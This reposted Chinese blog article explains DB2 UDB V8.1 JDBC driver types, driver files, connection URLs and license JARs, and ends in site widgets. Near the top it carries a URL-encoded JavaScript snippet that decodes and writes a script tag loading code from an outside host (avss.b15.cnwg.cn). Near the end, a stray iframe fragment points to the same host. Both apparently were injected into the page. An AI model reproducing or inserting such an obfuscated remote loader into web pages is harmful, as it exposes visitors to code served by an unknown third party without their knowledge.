(转)DB2和JDBC 数据库连

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
(转)DB2和JDBC 数据库连


序揭密


 
DB2和JDBC 数据库连接- -
                                      
 
JDBC 驱动程序揭密
对 Java 产生混淆的常见根源是:JDBC 有不同的版本,JDBC 驱动程序有不同的类型,它们可以被不同版本的 Java 使用。而且,新的 Java 规范总是在开发之中,因为通过 Java 社区过程(Java Community Process,
http://www.jcp.org
),相关的功能在不断地扩展中。
JDBC 版本
DB2 通用数据库 V8.1 支持 JDBC V2.1 规范和部分 JDBC 3.0 规范。使用通用 JDBC 驱动程序,全面支持 JDBC 3.0 需求的计划正在进行之中。
JDBC 驱动程序被认证为 J2EE 解决方案的一个组件。驱动程序认证的结果总是发布在
Sun 兼容性网站
上。
JDBC 驱动程序体系结构
JDBC 驱动程序体系结构分为四种类型。

Type 1


Type 2


Type 3


Type 4
JDBC Type 1 驱动程序
JDBC Type 1 驱动程序基于 JDBC-ODBC 桥。因此 ODBC 驱动程序可以与此类 JDBC 驱动程序(由 Sun 提供)结合起来使用。IBM 不支持 Type 1 驱动程序,因此它不是推荐的环境。图 1 显示了 JDBC Type 1 驱动程序的示例:
图 1. JDBC Type 1 驱动程序
JDBC Type 2 驱动程序
JDBC Type 2 驱动程序依靠特定于操作系统的库(共享库)来与 RDBMS 通信。应用程序将装入这种 JDBC 驱动程序,而驱动程序将使用共享库来与 DB2 服务器通信。DB2 UDB for Linux, UNIX® 和 Windows® V8.1 提供了两种不同的 Type 2 驱动程序:

旧的/CLI JDBC 驱动程序
在文件
db2java.zip
中提供。其实现包名称为
COM.ibm.db2.jdbc.app.DB2Driver
。该驱动程序目前已被用于进行 J2EE 认证。其别名“app 驱动程序”源自于一种观念及其包名称,这种观念就是:此驱动程序将通过远程数据库的本地 DB2 UDB 客户机执行本地连接。

通用 JDBC 驱动程序
在文件
db2jcc.jar
中提供。其实现包名称为
com.ibm.db2.jcc.DB2Driver
。此驱动程序是 DB2 UDB for Linux, UNIX 和 Windows V8.1 中的新功能。在最初的实现(V8.1)中,此驱动程序用于使用 Type 4 驱动程序体系结构与 DB2 服务器进行直接的 Java 连接。在 DB2 V8.1.2 中,您可以在 Type 2 体系结构中使用此驱动程序。在 Type 2 体系结构中使用此驱动程序的一个主要原因是为了本地应用程序性能和分布式事务支持。通用 JDBC Type 2 驱动程序分别使用
com.ibm.db2.jcc.DB2XADataSource

com.ibm.db2.jcc.DB2ConnectionPoolDataSource
来支持分布式事务和连接池。
 
可以使用 JDBC Type 2 驱动程序来支持 JDBC 应用程序。WebSphere Application Server 同时支持这两种 Type 2 驱动程序。注:在将来的版本中不会对旧的/CLI Type 2 驱动程序进行增强。
图 2 显示了使用 JDBC Type 2 驱动程序的应用程序的典型拓扑结构:
图 2. 使用 JDBC Type 2 驱动程序的应用程序
JDBC Type 3 驱动程序
JDBC Type 3 驱动程序是一种纯 Java 实现,它必须与 DB2 JDBC Applet 服务器(DB2 JDBC Applet Server)通信才能访问 DB2 数据。此类驱动程序旨在使 Java applet 能访问 DB2 数据源。在图 3 所显示的方案中,应用程序与安装有 DB2 客户机另一台机器进行通信。
图 3. 使用 Type 3 JDBC 驱动程序的典型应用程序方案
JDBC Type 3 驱动程序常被称作“网络(net)驱动程序”,它是根据其包名
COM.ibm.db2.jdbc.net
命名的。DB2 V8.1 支持网络驱动程序,可以将其用于 JDBC 应用程序。
Type 3 驱动程序要求
db2java.zip
驱动程序总是处于与 DB2 Applet 服务器相同的维护级别。如果驱动程序在 applet 内使用,这就不是一个问题,因为浏览器会在应用程序执行期间下载相应的
db2java.zip
文件。许多客户使用 Type 3 驱动程序而不是 Type 2 驱动程序,以避免必需的 DB2 客户机安装和必需的
DB2 CATALOG DATABASE
命令,后者用于创建使用旧的/CLI 驱动程序进行 Type 2 连接所必需的数据库目录信息。目前,WebSphere Application Server 和其它 J2EE 服务器不支持 IBM Type 3 驱动程序,因为该驱动程序不支持分布式事务(JTA)。将来的版本不会对 Type 3 驱动程序进行增强。
我们鼓励使用通用 JDBC Type 4 驱动程序来替代 Type 3 驱动程序。
JDBC Type 4 驱动程序
Type 4 驱动程序是仅用于 Java 的 JDBC 驱动程序,它直接连接到数据库服务器。DB2 UDB for Linux, UNIX 和 Windows V8.1 引入了称为“通用 JDBC 驱动程序(Universal JDBC driver)”的 Type 4 驱动程序。通用 JDBC 驱动程序在文件
db2jcc.jar
中提供。其实现包名为
com.ibm.db2.jcc.DB2Driver

请注意,通用 Type 2 和通用 Type 4 驱动程序具有相同的实现类名称。有两种方法可以区别 DB2 在内部将实例化哪个驱动程序:

使用
连接特性
来确定连接是否使用共享库(Type 2),或者驱动程序是否会启动来自 Java 应用程序的直接连接(Type 4)。

使用不同的
连接 URL 模式
来指示您想要 Type 2 和 Type 4 行为中的哪一种。
Type 4 URL 模式的示例:字符串“
jdbc:db2://server1:50000/sample
”要求 JDBC 驱动程序将 Java 应用程序直接连接到 DB2 服务器上名为“sample”的数据库,该数据库位于配置在 DB2 服务器(主机名为 server1)上的 DB2 实例中,而 DB2 服务器则在端口 50000 上进行侦听。

Type 2 URL 模式的示例:字符串“
jdbc:db2:sample
”。有关 DB2 服务器(“server1”)和端口(“50000”)的信息可以在 DB2 客户机编目目录中找到。

 
通用 JDBC 驱动程序是一种与驱动程序类型连通性或目标平台无关的抽象 JDBC 处理器。通用 JDBC 驱动器是一种与体系结构无关的 JDBC 驱动程序,用于进行分布式和本地 DB2 UDB 访问。因为通用 JDBC 驱动程序独立于任何特定 JDBC 驱动程序类型连通性或目标平台,所以它在一个 DB2 UDB 驱动程序实例中同时支持所有 Java 连通性(Type 4 驱动程序)和基于 JNI 的连通性(Type 2 驱动程序)。该驱动程序可以用于独立 Java 应用程序或多层应用程序。
重要:
就 DB2 UDB V8.1.2 而言,通用 JDBC 驱动程序要求 CLASSPATH 中有许可证 JAR 文件和
db2jcc.jar
文件。以下是所需的许可证 JAR 文件:

对于 Cloudscape™ Network Server V5.1:
db2jcc_license_c.jar


对于 DB2 UDB V8 for Linux, UNIX 和 Windows 服务器:
db2jcc_license_su.jar


对于 DB2 UDB for iSeries® and z/OS 服务器(与 DB2 Connect 和 DB2 Enterprise Server Edition 一起提供):
db2jcc_license_cisuz.jar

 
通用驱动程序可以通过使用预先安装在目标服务器上的必备存储过程,来查询数据库元数据目录及检索服务器错误消息文本:

对于 Linux、UNIX 和 Windows 上的 UDB V8,这些存储过程是预先安装的。

对于 DB2 UDB for OS/390® V6,必须安装 PTF UQ72081 和 UQ72082。

对于 DB2 UDB for OS/390 and z/OS V7,必须安装 PTF UQ72083。即将推出的 z/OS 上的 DB2 UDB V8 将会预先安装必需的存储过程。

DB2 UDB for iSeries V5R1 需要 PTF SI06308、SI06300、SI06301、SI06302、SI06305、SI06307 和 SI05872。

DB2 UDB for iSeries V5R2 需要 PTF SI06541、SI06796、SI07557、SI07564、SI07565、SI07566 和 SI07567。DB2 UDB for iSeries V5R3 将会预先安装必需的存储过程。
 
图 4 中显示了 Type 4 JDBC 驱动程序实现。注:从 Linux、UNIX 和 Windows 上的 Java 应用程序或 applet 连接到 DB2 for z/OS and OS/390 所用的通用 JDBC/SQLJ 驱动程序(Type 4 和 Type 2)需要适当的许可证文件(
db2jcc_license_cisuz.jar
)。该许可证文件是随 DB2 Connect 产品一起提供的。
图 4. Type 4 JDBC 驱动程序实现


src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值